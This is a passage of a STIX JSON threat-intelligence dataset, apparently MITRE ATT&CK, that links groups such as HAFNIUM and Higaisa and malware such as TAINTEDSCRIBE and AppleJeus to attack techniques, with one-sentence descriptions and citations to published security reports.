                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has loaded a plist file using the <code>launchctl</code> command.(Citation: CISA AppleJeus Feb 2021)",
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has deleted the MSI file after installation.(Citation: CISA AppleJeus Feb 2021)",
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                {
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                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has used shell scripts to execute commands after installation and set persistence mechanisms.(Citation: CISA AppleJeus Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--60da816d-f78b-4566-9587-b572ad579e15",
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            "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
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                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) can check for analysis environments and signs of debugging using the Windows API <code>kernel32!GetTickCountKernel32</code> call.(Citation: Unit42 BendyBear Feb 2021) ",
            "relationship_type": "uses",
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                {
                    "source_name": "Proofpoint LookBack Malware Aug 2019",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks",
                    "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."
                }
            ],
            "description": "[LookBack](https://attack.mitre.org/software/S0582) has used VBA macros in Microsoft Word attachments to drop additional files to the host.(Citation: Proofpoint LookBack Malware Aug 2019)",
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can leverage API functions for execution.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
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                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can use API hooks on \"GetExtendedTcpTable\" to retrieve a table containing a list of TCP endpoints available to the application.(Citation: Trend Micro Waterbear December 2019) ",
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                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can query the Registry to retrieve data.(Citation: Trend Micro Waterbear December 2019)",
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                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) has used DLL side loading to import and load a malicious DLL loader.(Citation: Trend Micro Waterbear December 2019) ",
            "relationship_type": "uses",
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                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                },
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
                },
                {
                    "source_name": "FireEye Exchange Zero Days March 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html",
                    "description": "Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065  to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)",
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                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has acquired web services for use in C2 and exfiltration.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--079eaba3-fdea-4551-b126-6e824136e6f5",
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                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used open-source C2 frameworks, including Covenant.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--dca36cf3-4501-4682-9d3e-df148b46792e",
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            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
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                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has exfiltrated data to file sharing sites, including MEGA.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--80efda4a-36a7-4b59-9f70-72f4952e2140",
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                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has interacted with Office 365 tenants to gather details regarding target's environments.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--02c3ea88-c33c-47d8-a34a-532ed5498a3d",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
            "external_references": [
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                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has operated from leased virtual private servers (VPS) in the United States.(Citation: Microsoft HAFNIUM March 2020)",
            "relationship_type": "uses",
            "id": "relationship--fedcb717-2453-4c77-8f05-8a28f934725e",
            "type": "relationship",
            "modified": "2021-03-03T20:22:59.518Z",
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        {
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            ],
            "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "CISA AppleJeus Feb 2021",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) can install itself as a service.(Citation: CISA AppleJeus Feb 2021) ",
            "relationship_type": "uses",
            "id": "relationship--3503cf12-e618-44b9-ac48-e1f1d7939767",
            "type": "relationship",
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        {
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            "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "CISA AppleJeus Feb 2021",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021."
                }
            ],
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                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
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                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
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                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
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                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
                }
            ],
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can set values in the Registry to help in execution.(Citation: Crowdstrike Indrik November 2018) ",
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                }
            ],
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                {
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                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
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            "description": "(Citation: ClearSky Wilted Tulip July 2017)",
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                    "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf",
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                }
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                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b",
                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) main executable has disguised itself as Microsoft\u2019s Narrator.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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        {
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FakeTLS for session authentication.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used PowerShell [Empire](https://attack.mitre.org/software/S0363) for execution of malware.(Citation: Crowdstrike Indrik November 2018)",
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
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                    "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."
                }
            ],
            "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used batch scripts on victim's machines.(Citation: Crowdstrike Indrik November 2018) ",
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                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) performed padding with null bytes before calculating its hash.(Citation: Zscaler Higaisa 2020)",
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                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                }
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            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) exfiltrated data over its C2 channel.(Citation: Zscaler Higaisa 2020)",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Malwarebytes Higaisa 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."
                },
                {
                    "source_name": "Zscaler Higaisa 2020",
                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."
                },
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                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used malicious e-mail attachments to lure victims into executing LNK files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)",
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                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can delete files from a compromised host.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can download additional modules from its C2 server.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
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            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can copy itself into the current user\u2019s Startup folder as \u201cNarrator.exe\u201d for persistence.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can enable Windows CLI access and execute files.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) command and execution module can perform target system enumeration.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use <code>DirectoryList</code> to enumerate files in a specified directory.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use <code>DriveList</code> to retrieve drive information.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used <code>FileReadZipSend</code> to compress a file and send to C2.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute <code>FileRecvWriteRand</code> to append random bytes to the end of a file received from C2.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can change the timestamp of specified filenames.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
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            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute <code>GetLocalTime</code> for time discovery.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
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            "external_references": [
                {
                    "source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b",
                    "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."
                }
            ],
            "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute <code>ProcessList</code> for process discovery.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)",
            "relationship_type": "uses",
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                {
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                    "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/",
                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has exploited CVE-2018-0798 for execution.(Citation: PTSecurity Higaisa 2020)",
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                {
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                    "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/",
                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                },
                {
                    "source_name": "Malwarebytes Higaisa 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) collected the system volume serial number, GUID, and computer name.(Citation: PTSecurity Higaisa 2020)(Citation: Malwarebytes Higaisa 2020)",
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                {
                    "source_name": "PTSecurity Higaisa 2020",
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                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes.(Citation: PTSecurity Higaisa 2020)",
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                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126)\u2019s shellcode attempted to find the process ID of the current process.(Citation: Zscaler Higaisa 2020)",
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                {
                    "source_name": "PTSecurity Higaisa 2020",
                    "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/",
                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used a payload that creates a hidden window.(Citation: PTSecurity Higaisa 2020)",
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                    "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt",
                    "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has called various native OS APIs.(Citation: Zscaler Higaisa 2020)",
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                {
                    "source_name": "PTSecurity Higaisa 2020",
                    "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/",
                    "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."
                }
            ],
            "description": "[Higaisa](https://attack.mitre.org/groups/G0126)\u2019s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the <code>OINFO12.OCX</code> dynamic link library.(Citation: PTSecurity Higaisa 2020)",
            "relationship_type": "uses",
            "id": "relationship--40b904c6-d77d-4ba8-98a5-c03d5c2a3186",
            "type": "relationship",
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            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3",
            "external_references": [
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has obtained IP addresses for publicly-accessible Exchange servers.(Citation: Volexity Exchange Marauder March 2021)",
            "relationship_type": "uses",
            "id": "relationship--c8a0a286-1296-4f87-bc6e-322cd956fb73",
            "type": "relationship",
            "modified": "2021-04-19T17:50:00.284Z",
            "created": "2021-03-09T16:04:38.886Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "external_references": [
                {
                    "source_name": "FireEye Exchange Zero Days March 2021",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html",
                    "description": "Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021."
                }
            ],
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the NT AUTHORITY\\SYSTEM account to create files on Exchange servers.(Citation: FireEye Exchange Zero Days March 2021)",
            "relationship_type": "uses",
            "id": "relationship--996765a6-6c8a-429d-baa5-32d423fb4207",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
            "external_references": [
                {
                    "source_name": "IBM ITG18 2020",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/",
                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) gathered credentials from two victims that they then attempted to validate across 75 different websites.(Citation: IBM ITG18 2020)",
            "relationship_type": "uses",
            "id": "relationship--078fb58f-0b5b-4021-8467-800893c35d08",
            "type": "relationship",
            "modified": "2021-04-12T20:33:02.797Z",
            "created": "2021-03-10T20:32:54.398Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
            "external_references": [
                {
                    "source_name": "IBM ITG18 2020",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/",
                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has established email accounts using fake personas for spear-phishing operations.(Citation: IBM ITG18 2020)",
            "relationship_type": "uses",
            "id": "relationship--1a163c8a-7a12-4cd4-813f-38f5a05ba98d",
            "type": "relationship",
            "modified": "2021-04-12T20:33:02.809Z",
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        },
        {
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            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
            "external_references": [
                {
                    "source_name": "IBM ITG18 2020",
                    "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/",
                    "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021."
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.(Citation: IBM ITG18 2020)",
            "relationship_type": "uses",
            "id": "relationship--32126e79-18ce-4393-a555-50aa34760da9",
            "type": "relationship",
            "modified": "2021-04-12T20:33:02.829Z",
            "created": "2021-03-10T20:32:54.444Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550",
            "external_references": [
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "(Citation: Leonardo Turla Penquin May 2020)",
            "relationship_type": "uses",
            "id": "relationship--f2a29786-05d5-4566-bece-14d5c1a212c1",
            "type": "relationship",
            "modified": "2021-03-11T15:29:16.495Z",
            "created": "2021-03-11T15:29:16.495Z"
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        {
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            ],
            "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) has mimicked the Cron binary to hide itself on compromised systems.(Citation: Leonardo Turla Penquin May 2020)",
            "relationship_type": "uses",
            "id": "relationship--6ef55051-c152-4491-a881-31ff98fb773e",
            "type": "relationship",
            "modified": "2021-04-09T17:31:12.386Z",
            "created": "2021-03-11T16:37:06.375Z"
        },
        {
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            ],
            "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550",
            "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "external_references": [
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                }
            ],
            "description": "[Penquin](https://attack.mitre.org/software/S0587) can use Cron to create periodic and pre-scheduled background jobs.(Citation: Leonardo Turla Penquin May 2020)",
            "relationship_type": "uses",
            "id": "relationship--7bd145ae-5ad2-48cc-8438-5b9ec8ed5414",
            "type": "relationship",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "external_references": [
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
